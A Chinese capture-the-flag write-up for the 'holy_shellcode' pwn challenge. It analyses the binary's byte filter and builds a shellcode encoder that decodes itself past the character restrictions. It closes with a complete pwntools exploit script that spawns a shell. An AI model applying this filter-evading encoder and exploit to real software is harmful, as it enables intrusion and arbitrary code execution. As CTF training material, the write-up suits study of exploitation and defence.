shellcode是一段用于利用软件漏洞而执行的代码,在实际的软件中,某些软件对允许输入的字符范围做了限制,导致检测到非法字符,从而无法成功输入shellcode。这时就需要加密shellcode。谷歌有一个开源工具ALPHA 3,可以将shellcode加密为全ascii可见字符。其大致原理根本文我们讲的是差不多的。
本文,我们要自己实现一个shellcode加密。我们就从攻防世界的一题holy_shellcode来看吧。这题的附件,攻防世界上没有,到这里下载https://pwn-1253291247.cos.ap-chengdu.myqcloud.com/holy_shellcode
我们用IDA分析一下
这里会把shellcode[i]和shellcode[i+1]替换为固定值
那么,我们必须要让i的值尽可能大,这样,在前面我们才能放置解密代码。我们来看看filter函数
有一个循环,循环到a1结束,而a1是传入的参数0xFA0,而最后函数返回的是i,那么我们想让i尽可能大,就是要让这个循环一直做到完,而不会中途返回
只要我们的shellcode里面字符在某个范围,就不会return。经过我们的分析,程序把我们输入的字符串分成2字节一组,当后一字节为0x05时,检查前一字节允许的范围;当后一字节为0xFB时,检查前一字节允许的范围。我们分析出的范围如下
1 2 3 4 opcode_05_allowed = range (145 ,200 ) + range (208 ,235 ) + range (240 ,245 ) opcode_fb_allowed = range (31 ,41 ) + range (42 ,55 ) + range (56 ,61 ) + [62 ,64 ]
我们要利用这些范围内的字符,构造解密函数。我们找到一个比较重要的指令**[stosb]{.mark},在i386上,它的机器码为0xAA,在opcode_05_allowed的范围内。 [这条指令的作用是将eax的低一字节al里面的数据写入到edi所指向的地址处,同时edi加1。]{.mark}**
那么,我们可以**[将数据放在eax的1字节寄存器al里,利用stosb写到指定的位置处。]{.mark}显然,上面允许的范围不能直接表示字节范围0~0xFF的所有,但是, [我们可以通过加减法来凑出其他数据]{.mark}**,通过对eax的加减法,让al里的数据变成我们需要表示的数据,然后再用stosb传送即可。于是,我们又有了这些范围
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 opcode_can_add_possible = {} for a in opcode_05_allowed: for b in opcode_fb_allowed: x = a + b if x <= 0xFF : arr = [a,b] opcode_can_add_possible[x] = arr opcode_can_sub_possible = {} for a in opcode_05_allowed: for b in opcode_fb_allowed: x = a - b if x > 0 : arr = [a,b] opcode_can_sub_possible[x] = arr for a in opcode_05_allowed: for b in opcode_05_allowed: x = a - b if x >= 0 : arr = [a,b] opcode_can_sub_possible[x] = arr
经过输出观察上面这四个数组里的数据,发现已经可以表示出0~0xFF的所有字节了。如果还不能表示,我们可以再多几个运算,直到可以表示即可。
而我们发现还有一条指令**[add eax,0x12345678这条5字节指令,add eax正好是0x05]{.mark},这样有助于我们凑出0x05字节,用作对前一字节的限定。此外, [repne是一条1字节指令,机器码为0Xf2,范围在]{.mark}opcode_05_allowed[允许的范围内,并且本次这个程序的ecx值为1,所以有repne和没有repne的作用是一样的,那么,这条指令也可以用来填充add eax,0xXXXXXXXX指令]{.mark}**
当然,本程序由于缺陷,第一次在0x05的范围内,即使被check 1了,也没关系
只需保证第二次的时候,check 0,那么第三次就可以继续循环了。
那么,咱们开始来来写解密代码吧。
首先,我们需要给edi赋值一个地址,用于存放我们解密后的shellcode。程序中,eax存放了我们输入的加密的shellcode的地址。
那么,我们先把eax与edi的值交换一下,这样,edi里就有我们当前自己这个shellcode本身的地址。使用指令xchg eax,edi,这是一条一字节指令,字节码范围在05的范围内,于是,我们得在后面填充一个0x5字节,此时,我们就可以用add eax,0xXXXXXXXX来填充。然后,我们让edi加上一定的偏移,这样我们放解密的shellcode到那里。我们可以对edi进行两次异或**[‘x33xFB’ 正好是xor edi,ebx指令,并且在允许的范围内。]{.mark}**
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 def init_edi (): sc = asm('xchg eax,edi' ) sc += asm('add eax,0xFB32FB32' ) sc += asm('mov ebx,0xF0FB2305' ) sc += asm('add eax,0xFB32FB32' ) sc += '\x33\xFB' sc += asm('mov ebx,0xF0FB2A05' ) sc += asm('add eax,0xFB32FB32' ) sc += '\x33\xFB' return sc
上面的运算,其实就是edi = edi ^ 0xF0FB2305 ^ 0xF0FB2A05 = edi ^ 0x300 ^ 0xA00 = edi ^ 0x900经过调试,edi最终加了0x700。
初始化了edi以后,我们就可以用add eax,xxxxxxx等一系列的计算,让al为我们需要的数据,然后利用stosb传送到edi指向的地址处即可。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 def add_al_xx (data ): sc = '\xF2' if data in opcode_fb_allowed: print '{} -> {}' .format (hex (data),hex (data)) sc += asm('add eax,0xFB32FB' + hex (data)[2 :]) elif data in opcode_05_allowed: print '{} -> {}' .format (hex (data),hex (data)) sc += asm('add eax,0xFB3205' + hex (data)[2 :]) else : if data in opcode_can_add_possible: a = opcode_can_add_possible[data][0 ] b = opcode_can_add_possible[data][1 ] print '{} -> {} + {}' .format (hex (data),hex (a),hex (b)) sc += asm('add eax,0xFB3205' + hex (a)[2 :]) sc += add_al_xx(b) elif data in opcode_can_sub_possible: a = opcode_can_sub_possible[data][0 ] b = opcode_can_sub_possible[data][1 ] print '{} -> {} - {}' .format (hex (data),hex (a),hex (b)) sc += asm('add eax,0xFB3205' + hex (a)[2 :]) sc += add_al_xx(0x100 -b) else : else : print '字节(' ,hex (data),')不在允许的范围内,无法完成加密!' exit() return sc
我们在用add_al_xx的时候,还需要先把al清零,我们可以利用减法,但是减法指令的机器码范围在0xFB的范围,这意味着,我们只能sub al,0xFB,而mov al指令机器码范围在0x5的范围内,这意味着,我们只能mov al,0x5。那么我们想让al为0,可以这样,让al = 0x5 + 0xF1,然后sub al,0xFB两次,这会造成al溢出,但是没关系,最后al会变成0。
1 2 mov_al_0 = asm('mov al,0x5' ) + add_al_xx(0xF1 ) + asm('sub al,0xFB' )*2
有了这些,我们就可以开始编码了
1 2 3 4 5 6 7 8 9 10 11 12 13 def genData (data ): sc = mov_al_0 sc += add_al_xx(data) sc += asm('stosb' ) sc += asm('add eax,0xFB32FB32' ) return sc
最后,我们只需要在结尾填充n个无用而不会被check的指令,直到填到解密后的shellcode处停止,这样是为了让程序能够运行到我们的解密后的shellcode处。如果jmp指令范围在内,我们可以直接jmp,但是jmp指令机器码超出了这个程序允许的范围。
因特尔指令参考http://ref.x86asm.net/coder32.html 手册
综上,我们的加密脚本
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 from pwn import asm,shellcraft,context,process,remote import binascii context(os='linux' ,arch='i386' ) sh = process('./holy_shellcode' ) opcode_05_allowed = range (145 ,200 ) + range (208 ,235 ) + range (240 ,245 ) opcode_fb_allowed = range (31 ,41 ) + range (42 ,55 ) + range (56 ,61 ) + [62 ,64 ] opcode_can_add_possible = {} for a in opcode_05_allowed: for b in opcode_fb_allowed: x = a + b if x <= 0xFF : arr = [a,b] opcode_can_add_possible[x] = arr opcode_can_sub_possible = {} for a in opcode_05_allowed: for b in opcode_fb_allowed: x = a - b if x > 0 : arr = [a,b] opcode_can_sub_possible[x] = arr for a in opcode_05_allowed: for b in opcode_05_allowed: x = a - b if x >= 0 : arr = [a,b] opcode_can_sub_possible[x] = arr '''''x = opcode_05_allowed + opcode_fb_allowed + opcode_can_add_possible.keys() + opcode_can_sub_possible.keys() x = list(set(x)) #print len(x) for i in x: print hex(i) ''' def init_edi (): sc = asm('xchg eax,edi' ) sc += asm('add eax,0xFB32FB32' ) sc += asm('mov ebx,0xF0FB2305' ) sc += asm('add eax,0xFB32FB32' ) sc += '\x33\xFB' sc += asm('mov ebx,0xF0FB2A05' ) sc += asm('add eax,0xFB32FB32' ) sc += '\x33\xFB' return sc def add_al_xx (data ): sc = '\xF2' if data in opcode_fb_allowed: print '{} -> {}' .format (hex (data),hex (data)) sc += asm('add eax,0xFB32FB' + hex (data)[2 :]) elif data in opcode_05_allowed: print '{} -> {}' .format (hex (data),hex (data)) sc += asm('add eax,0xFB3205' + hex (data)[2 :]) else : if data in opcode_can_add_possible: a = opcode_can_add_possible[data][0 ] b = opcode_can_add_possible[data][1 ] print '{} -> {} + {}' .format (hex (data),hex (a),hex (b)) sc += asm('add eax,0xFB3205' + hex (a)[2 :]) sc += add_al_xx(b) elif data in opcode_can_sub_possible: a = opcode_can_sub_possible[data][0 ] b = opcode_can_sub_possible[data][1 ] print '{} -> {} - {}' .format (hex (data),hex (a),hex (b)) sc += asm('add eax,0xFB3205' + hex (a)[2 :]) sc += add_al_xx(0x100 -b) else : print '字节(' ,hex (data),')不在允许的范围内,无法完成加密!' exit() return sc mov_al_0 = asm('mov al,0x5' ) + add_al_xx(0xF1 ) + asm('sub al,0xFB' )*2 def genData (data ): sc = mov_al_0 sc += add_al_xx(data) sc += asm('stosb' ) sc += asm('add eax,0xFB32FB32' ) return sc def compileShellcode (shell ): shellcode = init_edi() for data in shell: shellcode += genData(ord (data)) length = len (shellcode) padding = 0x700 - length if padding < 0 : print '错误,解密逻辑过长,请调整解密的汇编代码。' exit() for i in range (0 ,padding,2 ): shellcode += asm('sub al,0xFB' ) return shellcode shell = asm(shellcraft.i386.linux.sh()) shellcode = compileShellcode(shell) sh.sendline(shellcode) sh.interactive()